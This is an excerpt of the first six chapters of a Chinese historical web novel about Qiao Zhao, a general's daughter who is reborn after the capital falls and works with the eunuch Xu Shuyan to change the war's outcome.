《女将军和俏掌印》 1. 第 1 章 《女将军和俏掌印》全本免费阅读 夜黑如墨,城内火光满天,空气弥漫着烧焦的味道,房屋被火焰无情吞噬,不时有尖叫声传来,西戎敌军攻破中京 乔昭骑在马上,她身着素衫,面容清丽,眉眼间透着英气。身边跟着保护她的净军,耳边尽是刀剑打斗铮鸣之声。 早前威武将军乔愈年战败的消息从边疆传来,未曾想才过半月敌军竟然势如破竹,一路攻打到中京,所过的城池犹如螳臂挡车,丝毫没有减弱敌人来袭的攻势。 冰冷的风打在乔昭脸上,骏马飞速奔驰,伴随着声声沉闷的落地声,乔昭身边的净军越来越少。 兄长乔序战死沙场,消息传来时母亲宁安郡主竟生生呕出一口鲜血,随即晕倒在椅子上。兄长死后,侯府上下皆挂上白绫,凄切冷冽 来年正月,正值元宵佳节,边疆传来急报,在西戎敌军数次的攻城后,苦等援军未至,弹尽粮绝之际,威武将军乔愈年率麾下所有将士拼死出城,背水一战。 大将军深受重伤,生死未卜,敌军攻破城池。 朝野上下一片哗然,家国飘零之际,群臣惶惶不可终日。 西戎敌军来袭的速度比众人想的都要快,肃州失守,西戎敌军犹入无人之境,转瞬竟已抵达中京。 昌敬侯府仍然挂着白绫,明灭变换。 此时的侯府,一小队人马站在院内,个个身姿挺拔,通身萦绕着肃杀之气。为首之人身着黑色锦袍,衣领处绣着如弯月般的尖刀,是中京净军的标志。 为首之人向宁安郡主抱拳行礼。 “奉九千岁之命,来保护郡主和小姐。请随卑职速速离开此处。” 攻城的号角声,一声赛过一声,急促激昂,羽林卫和中京净军也只能抵挡一阵,难挽颓势。 自长子乔序去世以后,宁安郡主便日日以泪洗面,再听到乔大将军生死未卜的消息之后更是一病不起,没想临到这危急之时,郡主竟然愈加平静,今夜整装端正坐在屋内。 “侯爷只是不忍,替他说了句话,没想到那孩子竟还记得往日恩情。” 宁安郡主对着为首的人淡淡一笑,温和淡然。 随即拉过乔昭的手,摩挲了一下又一下,眼眶慢慢红了。 “昭昭乖女,如今情势危急,阿娘不能护你安全,务必要保重自身”,说着说着宁安郡主的声音就哽咽起来。 乔昭一把握住宁安郡主的手,着急问道:“阿娘,你不跟我们一起离开吗?” 宁安郡主再也忍不住眼泪,抱住乔昭。 “昭昭,阿娘不能离开,阿娘要守着侯府,等着你父亲归来。” 净军首领又催促了一声,再待下去恐怕来不及。宁安郡主擦干眼泪,随后将乔愈年供奉在祠堂的鸣鸿刀递给乔昭,便让净军将乔昭带走。乔昭挣扎无果,净军首领将乔昭一把架上马,然后吹响尖利的哨子,骏马犹如利箭霎时奔出。 乔昭往后看,宁安郡主一身白衣,站在门外,看着乔昭离开的方向,目光中充满了坚毅和果决。乔昭头发翻飞,遮住了她的视线。 巨木不断撞击着城门,随着一声沉闷的声响,城门被撞开,西戎敌军入侵。 西戎敌军实在凶残至极,不论男女老少,只要是北齐之人,直接就地诛杀,一时间血流成河,人神共愤。 身后跟着的西戎敌军越来越多,中京净军殊死抵抗,奈何寡不敌众,从最初的十几人,到现在只剩下三人还跟着乔昭。 鲜血腥甜溅到了乔昭脸上,让人作呕。前方已经是死胡同,再无路可走。身下的马也愈发不安,来回踱步,发出嘶鸣之声,后面西 2. 第 2 章 《女将军和俏掌印》全本免费阅读 隐隐约约的低泣声从耳边不断传来,乔昭缓缓睁开双眼,还有一些呆滞。 乔昭一怔。 入目漆黑一片,只有一盏灯散发着昏黄的光线,仍可以看清屋里熟悉的陈列,此处正是昌敬侯府的飞鸣阁,也是乔昭生活了十几年的地方。 乔昭摸了摸脸,没有满脸的鲜血,也没有满身伤处,只是浑身冷汗。 国破、家亡、西戎敌军刀下惨死的北齐百姓、一切的一切好像是场噩梦。 乔昭没死。 屋外细小的啜泣声不断,乔昭翻身下床,冬日萧瑟冷寒,乔昭身着单衣,急得连鞋袜都没穿。 一把将门拉开,入目皆是白绫。正值深夜,侯府上下一片寂寥,除了檐下的灯笼还亮着光,其他地方一片漆黑,可侯府上下随处都挂着的白绫在黑夜中仍然显眼,触目惊心的惨白。 坐在檐下阶梯上的是从小被宁安郡主收养,跟在乔昭身边的婢女竹风。 乔昭记得,西戎敌军攻入中京那晚,竹风不愿离开侯府逃命,守在了宁安郡主身旁。 竹风抬起头来,脸上还挂着泪水,眼眶红红,看见乔昭头发凌乱,衣衫单薄,连忙起身。 “小姐,醒了怎么不唤奴婢,穿得这样少就出来。” 无人应答,乔昭还望着侯府院内,愣在原地,竹风忙去屋内拿披风出来。 乔昭一把拉住竹风的手。 “现在是几年几月?”乔昭征怔问道。 “小姐,是永和十三年十月。”乔昭的手冷得像冰,触手冰凉,握着竹风的手细细颤抖着。 是了,永和十二年五月,正值夏季酷暑,西戎来犯。当今圣上顾昀之任命威武将军乔愈年为镇远大元帅,率领定北军迎击西戎。任命乔愈年之子乔序为骑都尉,随同作战。 西戎敌军来势汹汹,战情急迫。 永和十三年十月,西戎围城已经半月有余,骑都尉乔序率领骑兵部队,在一次秘密突围任务中,西戎敌军提前知悉,骑兵先锋部队全军覆没,骑都尉乔序被斩于马下。 “哥哥他...”乔昭怔怔看着竹风,眼里还藏着一丝希冀。 既然时光已经倒退,肃州还没有失守,西戎敌军也没有踏入北齐,所有的一切好像都还没发生。 那哥哥,是不是还活着呢 …… 竹风闻言眼泪霎时掉下。 “昨日传来消息,少爷”竹风一时哽咽到说不出来话,“少爷他已经战死沙场。” 看着侯府里白绫,乔昭感受到心中阵阵痛楚,张了张嘴,却说不出一个字。 兄长乔序,比乔昭大四岁,两人感情极好。与乔昭天生的练武奇才不同,乔序在武力方面天赋平平。 乔愈年虽然对此忧心忡忡,但乔序却很乐观,并不放在心上。乔序不爱念书,也不喜欢习武,更不与京城里那些纨绔子弟溜须拍马,玩鸟斗鸡。 他唯一的兴趣爱好便是看一些游历山川湖海的书籍,亦或是山海经怪的奇趣怪谈。 在乔昭的记忆里,乔序总喜欢在书房里给乔昭讲这些趣事,滔滔不绝。 “我必要走遍山川湖海,看遍世间美景,然后将所见所闻汇集成册,流传于世。” “总在这方寸之间转悠,未免太过无趣,真是要变成呆子了!我就是要见识与中京不同的风花雪月。” 乔序在乔昭耳边絮絮叨叨,眉飞色舞,眼神里尽是憧憬和向往,不见半分疲惫。 这些话乔昭耳朵都听出茧了,一边写着夫子布置的课业,一边敷衍点头称是。 眼神不经意望门口一瞥,看见乔愈年大刀阔斧的走进来,乔昭急忙向乔序使眼色,低声咳嗽提示。奈何乔序当真是没看懂妹妹的暗示,还在傻乐,被乔愈年抓个正着,又被罚去梅花桩上不站满一炷香不许下来。 往往事与愿违,他是乔愈年的儿子,好似天生就要去战场搏出一番天地,又怎能闲情野鹤,快意江湖。 可乔序死了。 所以那不是梦,十月是宫里传来的消息,哥哥在战场上丧命,同时传来的还有西戎敌军围困肃州,定北军急需朝廷派遣兵力支援。 来年正月,西戎敌军包围肃州已有三月之久,援军未至,弹尽粮绝,父亲不得不拼死一战,父亲重伤,音信全无。定北军再无反击之力,肃州失守。 一切都将重演,回到那个火光满天的夜晚。 离父亲战败还剩下三个月,乔昭绝不能坐以待毙。 西戎和北齐在兵力相当,过去一年里始终处于胶着状态。 从永和十三年九月开始西戎敌军便对定北军展开了猛烈的攻势,西戎地处西北部,位置偏僻,天气严寒,时常黄沙漫天,对于冬天他们的兵卒更能够忍耐。 而北齐位于中原不习惯冬日作战,所以在几次交战中,定北军都处于弱势,但这并不是导致定北军失败的真正原因。 而真正的原因是。 “援兵未至,弹尽粮绝”乔昭喃喃道 只记得前世从九月开始,两方数次交战,西戎像是提前知悉了定北军的策略,所以北齐每次都有伤亡。乔愈年也发现了问题所在,准备肃清内部叛徒,但谁知在十月初始西戎竟然在一夜之内调遣了十万大军围困肃州。 此前西戎并没有任何征兆,那十万大军好似凭空出现。 瓮中捉鳖,不费吹灰之力便可将定北军围困在城内,直至物资见底,军心溃败。 乔愈年数次突围出城,想要让朝廷派遣兵力支援,奈何寡不敌众,皆以失败告终。最后在乔序带着骑兵营舍命出城,伤亡惨重,消息才传了出来。 朝廷立刻派人前去支援,但定北军却苦等援军未至! 乔昭即刻奔向宁安郡主的华清轩。 不管是梦境还是重来一世,乔昭只想护佑家人安康,而今哥哥战死沙场已成定局,乔昭必须阻止父亲悲剧的发生。 华清轩还亮着灯,昨日听到乔序死讯后,宁安郡主悲伤过度晕了过去,宫里宣了太医前来医治。 乔昭已经顾不了许多,她快步走进华清轩内。 宁安郡主今日下午便已醒来,太医见其并无大碍,便写了些纾解郁气,宁神安眠的单子,此时屋内只有宁安郡主的贴身婢女服侍着。 “阿娘,阿娘。” 乔昭红着眼眶扑到宁安郡主怀里,或许是经历了上一世的国破家亡,还能再看到母亲,乔昭真的没办法控制住情绪。 “天气严寒,怎么连鞋袜都不穿,冻坏了可怎么是好。” 宁安郡主躺在床上,面容苍白,嘴唇更是看不见一点血色,脸上尽是泪痕。看到女儿衣衫单薄,步 3. 第 3 章 《女将军和俏掌印》全本免费阅读 坐到司礼监掌印的位置,徐纾言已经不用日日呆在皇宫,只偶尔圣上需要伺候的时候,才歇在宫里的偏殿。几年前皇帝便在中京最繁华富庶的地方给他修建了一座宅子,并亲自提笔写了一块牌匾,筠節凌霜。 形容德行高尚,正直不阿。 但在世人眼中,这完全是徐纾言的反义词,不少人在暗中讽刺他,消息传到了徐纾言耳朵里,没过几日便有人被革除官职,抄了家,从此以后再无人敢在他背后嚼舌根。 第二日一早,管事便来禀报,徐纾言谢绝了昌敬侯府的拜访。 徐纾言在朝中并未与哪一个大臣走的近,就算有接触也只是场面话的泛泛之交,再加上朝中官员一直是瞧不上他这个宦官的,不过是畏于权势,与他虚与委蛇。 徐纾言对此也不恼,脸上挂着意味不明的笑,透着疏离。看着朝中官员点头哈腰的样子,与小丑无异。 侯府的帖子被拒,但乔昭并不会这样轻易放弃。 ------------------------------------- 夜黑风高,月光皎洁,洒下清辉,夜幕中零星点缀着几颗星子。 掌印府外戒备森严,不时有护卫巡逻。一道黑影悄无声息地翻跃墙头,犹如狸猫般轻盈的落在地面。 乔昭黑巾覆面,只露出一双顾盼生辉的眼睛,一袭黑衣,身影修长,动作干脆利落。 既然徐纾言不愿意接侯府的帖子,那乔昭只能亲自来找他了 一翻下来就看见有一队护卫提着灯笼四处巡视,为首之人穿着黑衣锦袍,衣领处绣着弯月般的尖刀,是中京净军, 乔昭立刻躲入小竹林中,蹲在墙角处,隐匿身形。为首之人眼神犀利望过来,小竹林随风摆动,只有风吹过竹林,叶片发出的沙沙声。 乔昭放缓呼吸,沉默着像身边的草木,不引人注目。 乔昭从小根骨奇佳,是个练武的好苗子。对行军打仗,骑马射箭都感兴趣。 宁安郡主看乔昭实在喜欢练武,便做主请了一个有能力的习武师傅,从小教授她骑马射箭。乔愈年也经常回府的时候检验她所学如何,每次乔昭都能给他惊喜。 甚至等乔昭再大几岁,便开始拿《孙子兵法》《吴经》等一些兵书给她启蒙,因此乔昭在武术方面造诣极高,却从不显山露水。 视线消失了,相安无事,那人没有走过来。 少有人来过徐纾言的府里,除了那些想刺杀他的人,但大多数都是有来无回,死状凄惨。乔昭也是第一次翻墙进别人的院子,入目只有几棵树在庭中被风吹得沙沙作响。 世人皆说徐纾言仗自己的权势贪污受贿,大肆敛财。没想到他的府邸却非常朴素简单,连平日用来欣赏野趣的假山流水都没有,庭院中空空如也。 院里很空,但是面积却大,毕竟是当今权势最盛的内监司礼监掌印徐纾言的府邸,乔昭摸索了许久,才搞清楚方向,直奔徐纾言的寝卧。 “最近掌印时常歇在宫里,片刻不得放松。”两个小太监提着灯笼走过,极小声讨论着,看样子是负责日常洒扫,处理内务的奴才。 乔昭隐在墙角的阴影里,与黑夜融为一体,默不作声。 “是啊!现在不太平,掌印胃口更不好了,小厨房的人想尽法子做的饭也不见吃几口。”一个小太监愁眉苦恼道。 “真是闹得人心惶惶,昨日掌印在书房里发了好大的火!连太后御赐的砚台都给砸了,碎片不下心溅到高少监的脸上,高少监躲都不敢躲,从书房里出来的时候满脸都是血。”左边的人凑到另一人耳畔,悄声道。 “当真?我那日正巧外出采买,未曾看到。所谓何事?怎地如此生气。”小太监惊呆,忙捂着嘴问道。 “听说是宫里传过来的消息,太后和皇上意见不合,高少监只不过是个传话的,被波及了。”小太监左右张望了一下,小心翼翼道。 小太监忙捂住另一人的嘴,随后四处看看,紧张道。 “都是大人物的事,不可随意置喙!仔细这点你我的小命。” “慎言慎言。”小太监也立马住嘴,担惊受怕道。 随后两人便提着灯笼,安静地从庭院走过。 乔昭在阴影里驻足了一会儿,才悄声走出。主卧还亮着灯,想必徐纾言还没有入睡,乔昭轻声将门推开。 刹那间,一枚飞镖直冲乔昭面门而来,卷起一阵风,将额前的发拂起,乔昭瞬间侧身躲过。飞镖直直射入身后的树干上,力气之大,甚至完全插入树中,看不见飞镖的影子。 乔昭转头,定睛一看。屋内站着两个人,都穿着中京净军的服饰,两个人面容冷肃,一人拿刀,一人执鞭。厅房与卧室用白色的帷幔隔开来,帷幔低垂微微有风,吹起纱幔一角,隐隐透出后面的紫檀木床,上面坐着一个清瘦的身影,散着发。 只听里面那人缓缓开口,声音清冷低沉,轻飘飘一句。 “杀了。” 两个人对看一眼,齐齐向乔昭冲来。 电光火石之间,长鞭犹如灵活蛟龙朝乔昭面门而来,卷起阵阵呼声。乔昭下一意识拿刀去挡,下一刻,剑锋凌厉向自己汹涌而来,乔昭面色一沉,侧身迅速闪躲,鞭子灵活转向,又向乔昭前胸袭去。 求人办事,乔昭本不想伤人,况且这两人能守在徐纾言的寝卧,必定是他的亲信,乔昭下手多是防御为主。但是这两人明显是下死手,乔昭再心软就是拿自己性命开玩笑了。 乔昭握紧手里的刀,看准机会,疾步上前挥动大刀砍下,疾如闪电。徐霁一惊,忙拿剑抵挡,没想到乔昭力气如此之大,竟震得他虎口发麻,差点将剑脱手而出。乔昭毫不犹豫当胸一脚狠很踢去,徐霁猛地被踢飞出去。 眼看徐霁不敌,徐淮立刻挥鞭而上,乔昭转身躲开,鞭声飒飒作响,就在耳边。覆面的黑巾被扯下,飘扬的落在地上。乔昭心一横,看着近在咫尺的鞭子,直接徒手抓住,徐淮完全扯不动。乔昭用力一扯,徐淮一个趔趄,差点没站稳,鞭子也脱手而出。徐淮失了武器,赤手空拳还想上去同乔昭缠斗。 “没用的东西,还不退下。”帷幔后面清冷的声音再次响起。 “是。” 徐霁徐淮二人满脸不甘,但还是立刻收拾起身,退出门去。 乔昭正身对着帷幔,夜已深,只余几盏烛光还亮着。 一只手掀开纱幔,手指瘦削修长,骨节分明,净白的皮肤下隐约可见淡淡的青色纹路,在烛光的映衬下莹润生辉。缓缓一道身影从帷幔后面走出,白衣黑发,面容舒冷,眉眼隐在烛光下更显冷寂。 乔昭一时有些呆住。 “原来是乔小姐今夜前来拜访,真是别出心裁,让徐某好生惊喜。”徐纾言抬眼,扯了扯嘴角,似笑非笑道。 乔昭回神,眉眼透露着英气,身姿笔直,犹如一柄利剑,没有半分畏惧。 4. 第 4 章 《女将军和俏掌印》全本免费阅读 “奉天承运皇帝,诏曰:兵部侍郎郑冬青,骁勇善战,有勇有谋,忠心义烈,今西戎来犯,辱我北齐,命郑冬青为破虏将军,率领十万大军前去肃州,支援定北军,钦此。” 太和殿金碧辉煌,庄严肃穆。 大殿上文武百官身着朝服,手持朝笏,站立在大殿中。徐纾言手里拿着明黄圣旨,站在上方,语气肃穆清冷。身旁是九龙金漆宝座,坐在上方的便是当今天子顾昀之。 徐纾言念完圣旨,大殿上安静一瞬,片刻后就不断传来窃窃私语。 前日急报传来时,圣上已经口头下旨,任命太尉周承远前去支援,这短短两日,再下旨就变成了兵部侍郎郑冬青。这其中很难不让人怀疑有掌印徐纾言在从中作梗的原因。 莫非周承远哪里招惹了徐纾言不快,这就被打击报复回来。周承远可是当今太后的亲弟弟,徐纾言也敢给他使绊子,就算贵为九千岁但终究是个太监,当真是无法无天! 文武百官都在小声交谈着,可无一人敢提出异议。 “臣接旨。” 一个身穿绯色朝服的男人出列,看年岁约莫中年,与乔愈年年纪相仿。身材魁梧,五官端正,透着一股凛然之气。 郑冬青表面淡定接过圣旨,但心理却直犯嘀咕。郑冬青是武官,性格豪爽耿直,平日除了上朝就是呆在军营里练兵。虽素日来听闻过九千岁威名,但与徐纾言却是从未有过接触,与司礼监更是八竿子打不着的关系。 顾昀之面容清俊柔和,安稳的坐在宝座上,看着下面的朝臣讨论,一言不发。 待郑冬青接过徐纾言手里的圣旨,才开口,正色道。 “昨日掌印说郑卿原是肃州人,更了解肃州地势地貌,且郑卿和乔将军私下里素来交好,因此朕与徐掌印商讨以后,认为郑卿实乃最佳人选。” 徐纾言眼睫低垂站在旁边沉默不言,但下面群臣的视线却时不时瞟向他,心里想着看来郑冬青果真是傍上了九千岁。 皇帝已经发话,群臣只能应声附和,唯有武官为首之人,面沉如水,抿唇不语。 接下来的朝会便没有什么要事商讨,只定下了十万大军将于三日后出发。 下朝后,顾昀之离开,群臣三三两两谈论着,走出大殿。 徐纾言今日不歇在宫里,也随着百官离去。刚出大殿,一个浑厚的声音便叫住了徐纾言。 “九千岁留步。” 徐纾言站定,随后转过头去,身后一个大臣向他走来。穿着正一品服制,身着紫色圆领窄袖袍衫,正是太尉周承远。 “人多耳杂,烦请九千岁借一步说话,”周承远面色如常,只盯着徐纾言的双眼晦暗不明。 徐纾言走在前头,脊背挺直如竹,身形修长,看不出一丝谄媚。 周承远跟在身后意味不明的勾了勾嘴角,在徐纾言转身后又端正神色,道。 “不知微臣哪里不当,惹九千岁不快。”周承远看似放低姿态,眼睛却直直盯着徐纾言。 “周太尉何出此言,咱家和太尉又能有什么嫌隙?都是为了圣上,为了百姓。”徐纾言四两拨千斤,不正面回应周承远所问。 “是的是的,你我皆是为了江山社稷。但圣上金口玉言,今日却突然改了注意,微臣当真是惶恐难安,还望九千岁解惑。”周承远压着情绪,沉声恭敬道。 “圣上的意思,又岂是我等可以揣测的,既已任命郑大人前去,定是圣上觉得郑大人合适。”徐纾言瞥了一眼周承远,不紧不慢道。 周承远只讪讪笑到,连声称是。 言罢,徐纾言便抬脚走了,只余下一个背影。 周承远目送徐纾言背影离开,一改之前恭敬的姿态,面色不虞,沉得仿佛可以滴水,眼神不屑。 待徐纾言走远以后,才冷哼一声 “区区一个阉人,有小皇帝在后面撑腰便目中无人,日后怎么死的都不知道。” ------------------------------------- 郑冬青前去支援定北军的消息,当日便传到了昌敬侯府。 此时乔昭正在院里,穿着利索的便衣,目光锐利,挥舞着大刀飒飒作响。 乔昭听到管事传来的消息,立刻放下大刀,奔去华清轩。 “阿娘,圣上改了主意,现如今是兵部侍郎郑冬青领兵前往肃州。”乔昭的开心溢于言表。 昨日从徐纾言府里回来,乔昭夜不能寐,就算稍微睡下,又梦到那日西戎入侵的惨烈,一下子惊醒便再也睡不着。早早起来习武,方便第一时间等到宫里的消息。 宁安郡主得知这个消息也松了一口气,放下心来。 郑冬青此人宁安郡主有些印象,乔愈年在中京时偶尔和一些同僚出门喝酒,其中就有郑冬青。闲来无事时,郑冬青还会来府上与乔愈年切磋武艺,他年岁只比乔愈年小一两岁,所以也叫宁安郡主嫂子。 乔昭抱着宁安郡主,埋在母亲怀里。宁安郡主温柔的抚摸着乔昭的黑发。 片刻后,乔昭抬起头来,望着宁安郡主,缓缓道。 “阿娘,我想参军,随郑叔叔一同前往肃州。” 宁安郡主立刻放下抱着乔昭的手,看着女儿坚定的脸,厉声道:“战场上刀剑无眼,危险万分,你一人前去实在太危险了!阿娘不许。” 乔昭身体坐直,不服气道:“百姓家的子女就去得,到了我这里就去不得!难道高门显贵的子女就贪图享乐,穷苦百姓的子女就战场冲锋?” “阿娘不是这个意思!行军打仗太危险,上了战场就没有退路,这不是儿戏,阿娘担惊受怕,放心不下。”宁安郡主苦口婆心劝道。 “你就是这个意思!我从不把这当成儿戏,我知道战场危险,可我能保护自己,我不想再待在家里,任凭敌军入侵却毫无办法,”乔昭据理力争,眼神中满是倔强。 “我是不会同意的,若你执意要走,就别再叫我阿娘。”宁安郡主气得撇过头去,不看乔昭,半句不肯松口。 气氛僵持,室内寂静无声,母女俩谁也不肯让步。 片刻后,乔昭站起身,随后竟直直跪在地上,俯身低头垂至地,向宁安郡主行了一个跪拜礼。 宁安郡主转过头来,看见跪在地上,脊背挺直的乔昭,眼眶渐渐红了,只能将额前的发撩至耳后,掩饰泪意。 “阿娘,我知道您担心我。但如今爹爹有难,孤立无援,北齐百姓民不聊生。身为爹爹的女儿,人之行,莫大于孝,我应当去他身边,共渡难关。身为北齐子民,苟利国家生死以,我又岂能贪生怕死,看着百姓陷于水火之中。”乔昭目光坚定,无半分犹豫恐惧,高声道。 宁安郡主眼泪扑簌而下,两手轻轻摸着乔昭的脸,哽咽难言。 “昭昭,可是阿娘真的怕,你可知当日阿娘得知你哥哥去世的消息,当真是觉得昏天黑地,心痛难忍。如今我就只剩你一个孩子,若你...若你再出什么事,你让阿娘怎么活。” 5. 第 5 章 《女将军和俏掌印》全本免费阅读 旭日东升,苍茫戈壁寸草不生,黄沙漫天连接天际。远处传来马蹄声,一群人策马疾驰而来。 为首之人,身着黑色戎装,暗红色的披风随风飘扬,身后背着一把通体漆黑的大刀。马尾高高束起,眉宇间英气十足,尽显不羁豪迈,正是乔昭。 几人骑着马飞速向前,最后停在城墙外面。黄沙铸就的城楼古朴冷寂,赤红的北齐军旗被风吹得飒飒作响,城门上方挂着一个牌匾,上面有着霸气沉稳的两个大字,肃州。 “来着何人。”站在城楼上的将士手持红缨枪,大声质问道。 “定北军骑都尉乔昭。”看着城楼上方的人,乔昭拿出青铜令牌,上面刻着定北军三个字,龙飞凤舞。 城楼上的将士看见乔昭手里拿出令牌,便挥了挥手,城门缓缓打开。 乔昭一挥马鞭,骏马扬起马蹄,霎时向前奔去,几人进入肃州城内。 当初乔昭执意参军,来到肃州,现已过去五个年头。 刚来到肃州时,定北军已从最初的五万军队,伤亡到只剩下三万。而对面西戎十几万大军虎视眈眈,只等北齐溃不成军,再肆机攻入城池。 长子乔序的死给乔愈年打击很大,表面乔愈年沉稳镇定,看不出一丝伤感。但每到深夜,万籁俱静之时,乔愈年便把乔序的配剑拿出来细细擦拭,沉默不言。 被困在肃州城内,天气越发寒冷,军队里粮食也快见底,每天只一碗稀粥度日。乔愈年也不知急需支援的消息是否传到朝廷,更有人煽风点火,惑乱军心,军队里的氛围越发沮丧。 乔愈年肃清内部奸细,但定北军颓势不减。将士们没有足够御冬的衣物,兵卒感染风寒也没有药物可以医治,只能靠自己熬过去,因此定北军伤亡不断。乔愈年不想坐以待毙,消磨军心,准备拼死出城一战,博个生路。 就在乔愈年领兵出城,与西戎敌军负隅顽抗之时。郑冬青率领的十万大军抵达肃州,进入战场,局势瞬间反转。 十万大军的到来,仿佛给定北军注入了一剂猛药,起死回生,军心高涨。也因此两军之间战况再次陷入胶着,这一打就是五年。 乔昭推开营帐大门,入目便是正中间的沙盘模型,上面插着赤红小旗的地方便是肃州。屋里的墙面上挂着一副地形图,上面有炭笔做出的标记。 有两人站在沙盘面前讨论,正中间之人,身形高大健壮,皮肤黝黑,眼神锐利,眉眼间和乔昭有几分相似。此人正是乔昭的父亲乔愈年,站在乔愈年旁边的便是郑冬青。 “参见元帅,郑将军。” 乔昭双手抱拳,略微倾身,对着乔愈年和郑冬青行礼。 郑冬青上前扶住乔昭的手臂,关切问道。 “一切可还顺利?” “一切顺利。”乔昭正色道。 乔愈年也走到女儿身前,细细看着,见乔昭眼神明亮,并无受伤,心里悬着的石头松了下来。 近半个月,西戎那边没了动作,安静得出奇,像一下子熄了火,但是兵卒调动频繁。 定北军这边也是丈二和尚摸不着头脑,乔愈年不敢轻举妄动,害怕着了他们的道。便吩咐乔昭带几个机敏灵活的骑兵,偷偷潜入敌营,一探究竟。 “此番前去可有收获,西戎那边是什么情况?”乔愈年面容严肃,问道。 “西戎王素来身体康健,可近日王庭传来消息说西戎王阿尔金.忠时日无多,但至今仍未立储。西戎王有三个儿子,长子阿尔金.那,次子阿尔金.鲁能,排行第三,小儿子阿尔金.越,排行第六。三个儿子母亲皆不同。” 乔昭将自己知道的消息一一道来。 “目前所知,长子阿尔金.那在王庭照顾西戎王,且阿尔金.那将弟弟阿尔金.鲁能的母族全部诛杀,以此来削弱阿尔金.鲁能的势力,西戎王庭那边已经被他控制,无人敢置喙。是阿尔金.鲁能母族一个旁支家的孩子假死才得以活命。一路上东躲西藏,两月后才来到这里将消息告知阿尔金.鲁能。” 乔愈年和郑冬青俱是一脸震惊,半响郑冬青才开口,叹息道。 “阿尔金,鲁能是这次西戎出征的主帅,此人有勇有谋,出兵诡谲,是一个强劲的对手。没想到他在外征战,背后却遭此重创。” 两军打仗,满打满算已经有七年之久,对于两军主帅对彼此都有了一定的了解。 “阿尔金.鲁能可有异动。”乔愈年抓住重点,接着问道。 “他在外打仗,王位却落入他人之手。阿尔金.鲁能定是不愿为他人作嫁衣的。”郑冬青接着道。 “阿尔金.鲁能本人到是没有离开。”乔昭顿了顿道,“可他手下于的副官于三日前率领了五万大军赶回王庭。” “副官?一个小小的副官又岂是阿尔金.那的对手。”乔愈年一脸怀疑道,脱口而出道。 沉思片刻,乔昭抬眼道:“属下认为,此次赶回王庭的就是阿尔金.鲁能本人。而军营里阿尔金.鲁能是假扮的。” “此话怎讲?”郑冬青问道。 “自我潜入西戎军营后,除各将领在营帐里开会,日常鲜少看见阿尔金.鲁能出面,行踪沉迷。”乔昭回复道。 乔愈年沉吟片刻,肃然道。 “此事非同小可,还需再探。若阿尔金.鲁能确已离开,我方即刻进攻,打他个措手不及!” “是!”乔昭再次抱拳行礼,转身退下。 正事谈完,营帐里氛围轻松了许多。 郑冬青拍了拍乔愈年的肩膀,望着乔昭的背影,赞赏道。 “昭昭当真是将门虎女,排兵布阵的手法颇有乔兄之姿,在战场上更是有勇有谋,让敌军胆战心寒。” “不敢当不敢当,小丫头片子,还需要磨炼!”乔愈年哈哈大笑道,语言虽然谦逊,但脸上的骄傲都要溢出来了。 “乔兄何须见外!昭昭这几年我也是看在眼里的,青出于蓝而胜于蓝啊!是我们老了,老了!”郑冬青摆摆手,感叹道。 乔愈年不赞同,大声道:“郑兄此言差矣,你我应是老当益壮。今夜去你帐里小酌一杯!” 郑冬青开怀大笑,点头同意。 ------------------------------------- 乔昭刚出营帐,便被人一把揽住肩膀。乔昭下意识拽住对方手腕,用力向后一撇,只听到一声惨叫。 “哎哟!放手放手!要脱臼了!”林珩连声求饶道。 听见熟悉的声音,乔昭立刻卸力松手,转头就看见林珩龇牙咧嘴的模样,乔昭扑哧一笑道。 “真不是故意的,谁叫你躲在我身后。” < 6. 第 6 章 《女将军和俏掌印》全本免费阅读 “前几日你去哪了,这么多日不见身影,我想找你借书都找不到人。”林珩撞了撞乔昭的肩膀,好奇问道。 “元帅吩咐去办了些事。”乔昭只简单说了句,没有透露太多。 乔昭来了肃州五年,除了私下里与乔愈年谈家事的时候亲近一点,旁些时候只唤乔愈年为元帅。因此这么多年,好多人都不知道乔昭是元帅的女儿。但林珩是乔昭举荐给元帅的,自然是知道乔昭和元帅是父女关系。 林珩见乔昭不方便多说,也很识相不再多问,两人一同往校场走去。 自从十万大军来了肃州,除肃州城内驻守一部分将士,守城巡视,更大部分军队还是在城外安营扎寨。 乔昭走在军营里,四处皆是白色的营帐,来来往往是身着戎装的兵卒,校场练兵的口号声整齐划一,带着凛冽杀气,这是五年来乔昭最熟悉的场景。 但是走着走着,乔昭还是发现了些许不同。 “为何修建了许多营帐?朝廷派人来了肃州?”看着眼前这几个新建的营帐,乔昭不由问道。 虽然都是营帐,但面前这个营帐却比乔昭自己住的营帐大的多,外面的围毡厚实耐用,是用羊毛制成的羊毛毡。 肃州昼夜温差大,这样的羊毛毡具有良好的保温和防水性能,是制作围毡最好的材料。但是将士们居住的营帐只是用普通的麻布制作而成,只具有最基本的防风功能,跟眼前这个营帐不能比。 走进里面,才发现更是奢华无比,内部空间很大,做了采光处理。入目便是一扇紫云屏,屏面上覆着细腻泛着光泽的绸缎,屏风上绣着挺直翠绿的青竹,这种高雅之物,只中京和一些富庶的地方才有。地板上铺着毛毯,犹如踩在云朵上,榻上放着一床绣花锦被,被褥柔软舒适。 “前几日你不在,郑将军吩咐,朝廷派了监军前来,不日便抵达肃州,这些营帐全是为了监军一行人修建的。”林珩回复道。 看着眼前这奢靡景象,林珩咂舌,无不羡慕道。 “我还没睡过这么舒适的被褥,躺在上面肯定不会半夜被硌醒。” “监军?”乔昭语气带着一丝疑惑,随即又问道:“为何不住在府里,军营里多有不便。” 自古军队在外征战,天高路远,远在朝堂的君主不能及时知道战场情况,因此君王会派一名监军,跟随军队出入战场。一方面监军会传达君主的指令,另一方面监军会将战争局势上报君主。因此监军往往是君主最信任的人,一般由皇帝身边的宦官担任监军一职。 林珩颌首,道;“郑将军是提议让监军住在肃州城内,但监军传信来拒绝了。” 乔昭眼神闪了一下,顿了片刻,继续问道。 “那你可知这次来的监军是何人?” “还能有谁?肯定是司礼监掌印徐纾言,据说圣上最信任他,文武百官都称他九千岁。”林珩言之凿凿。 随后林珩眉峰上扬,颇有点不怀好意,贱嗖嗖道。 “这九千岁来这儿可有得苦吃,中京这么舒坦的好日子不过,偏要跑到这鸟不拉屎的地儿。这军营里可不是他作威作福的地方,到时候将士们才不惯着...” “哎!你打我干什么?!”乔昭一巴掌扇在林珩头上,林珩莫名其妙,转头瞪着乔昭,愤怒道。 乔昭若无其事收回手,缓缓道:“你背后谈论他,当心徐纾言知道后割了你舌头。” 言罢,乔昭不禁想起五年前夜里闯进徐纾言寝卧,自己差点死在徐纾言手里的事。 乔昭勾了勾唇,心里叹道;这人脾气可差得很。 随后乔昭和林珩径直走出门去,不再逗留。 ------------------------------------- 